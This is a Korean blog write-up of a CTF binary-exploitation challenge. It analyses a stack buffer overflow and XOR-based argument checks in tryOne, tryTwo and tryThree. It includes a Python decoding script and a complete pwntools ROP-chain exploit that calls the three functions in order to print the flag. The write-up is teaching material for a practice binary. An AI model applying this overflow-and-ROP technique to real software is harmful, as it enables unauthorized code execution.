amoogotomollayo 2022. 3. 9. 14:06

이번 문제는 ELF 파일과 라이브러리 파일이 제공됩니다.

 

먼저 ELF 파일을 확인해보겠습니다.

 

argc를 인자로 전달하고 new_main 함수를 실행합니다.

new_main 함수에서는 s 문자열 배열에 0x200byte만큼 데이터를 입력할 수 있습니다.

배열 길이 이상으로 입력할 수 있기 때문에 버퍼 오버 플로우 공격이 발생합니다.

 

libvuln.so 파일을 확인해보겠습니다.

눈에 띄는 함수는 총 4개입니다.

하나씩 확인해보겠습니다.

 

 

tryOne 함수 경우 매개변수 a1, a2, a3의 포인터 주소를 sprintf 함수를 통해 p1, p2, p3에 넣습니다.

다음은 check_p1 변수와 포인터 변수 ptr을 인자도 전달한 후 _encrypt 함수를 실행합니다.

 

src 배열에 "3T5*)Z'0B6" 문자열을 복사합니다.

문자열 길이만큼 반복하면서 check_p1 배열과 src 배열의 값을 하나 씩 가져와 xor 연산을 한 후 src 배열에 저장합니다.

결괏값을 dest 변수에 복사하고 리턴합니다. 

 

xor 연산 결과와 사용자 입력 값으로 추측되는 p1과 비교합니다.

false면 프로그램이 종료됩니다.

v4, v5도 똑같이 xor 연산을 하고 p2, p3와 비교합니다.

 

조건문을 통과하면 set 변수가 1로 설정되고 종료됩니다.

 

다음은 tryTwo 함수입니다.

이번 조건문에서는 set이 1인지를 묻는 조건이 추가되었습니다.

조건문을 통과하면 set 변수가 2로 설정됩니다.

 

다음은 tryThree 함수입니다.

마지막 함수입니다.

이번 조건문은 set이 2인지를 묻습니다.

이후 조건문을 통과하면 FLAG를 출력하고 함수가 종료됩니다.

 

해당 문제를 풀기 위해서는 tryOne, tryTwo, tryThree 함수를 순차적으로 실행시켜야 됩니다.

함수를 실행시킬 때 인자로 check_p1, 2, 3과 문자열 "3T5*)Z'0B6"과 xor 연산 값을 인자로 전달해주어야 됩니다.

 

먼저 xor 연산 값을 파이썬을 통해 구해보도록 하겠습니다.

check_p1 = "0x03 0x2c 0x51 0x4f 0x48 0x3e 0x45 0x55 0x27 0x50".split()
check_p2 = "0x03 0x2c 0x53 0x1a 0x19 0x3e 0x44 0x51 0x24 0x53".split()
check_p3 = "0x03 0x2c 0x51 0x1a 0x19 0x3e 0x41 0x51 0x21 0x53".split()

print(check_p1, check_p2, check_p3)

check_p1 = [int(i, 16) for i in check_p1]
check_p2 = [int(i, 16) for i in check_p2]
check_p3 = [int(i, 16) for i in check_p3]

key = "3T5*)Z'0B6"

for i in [check_p1, check_p2, check_p3] :
	res = []
	for j in range(len(key)) :
		res.append(i[j] ^ ord(key[j]))
	
	print("".join([chr(i) for i in res]))

xor 연산 결과 값들입니다. 해당 값들을 인자로 사용해야 됩니다. 각 인자들을 스택에 넣어야 합니다.

각 함수마다 비교할 때 check_ 변수들의 위치가 조금씩 다릅니다. 코드를 확인해서 순서를 맞춰주어야 됩니다.

 

 

페이로드를 짜기 위해 배열의 위치와 가젯을 구했습니다.

 

 

최종 페이로드와 결과는 아래와 같습니다.

from pwn import *

r = process('./vuln')
e = ELF('./vuln')

check_p1 = 0xdeadbeef
check_p2 = 0xf00dcafe
check_p3 = 0xd00dface

print("[1] check_p1 = ", check_p1)
print("[2] check_p2 = ", check_p2)
print("[3] check_p3 = ", check_p3)
 

One = e.symbols['tryOne']
Two = e.symbols['tryTwo']
Three = e.symbols['tryThree']

pppr = 0x080493d1 

payload = b"A" * 0x30 + b"B" * 0x4 + p32(One) + p32(pppr) + p32(check_p1) + p32(check_p2) + p32(check_p3)
payload += p32(Two) + p32(pppr) + p32(check_p2) + p32(check_p3) + p32(check_p1)
payload += p32(Three) + p32(pppr) + p32(check_p3) + p32(check_p1) + p32(check_p2)

r.sendafter(":)", payload)
r.recv()
r.recv()
print(r.recv())

r.interactive()​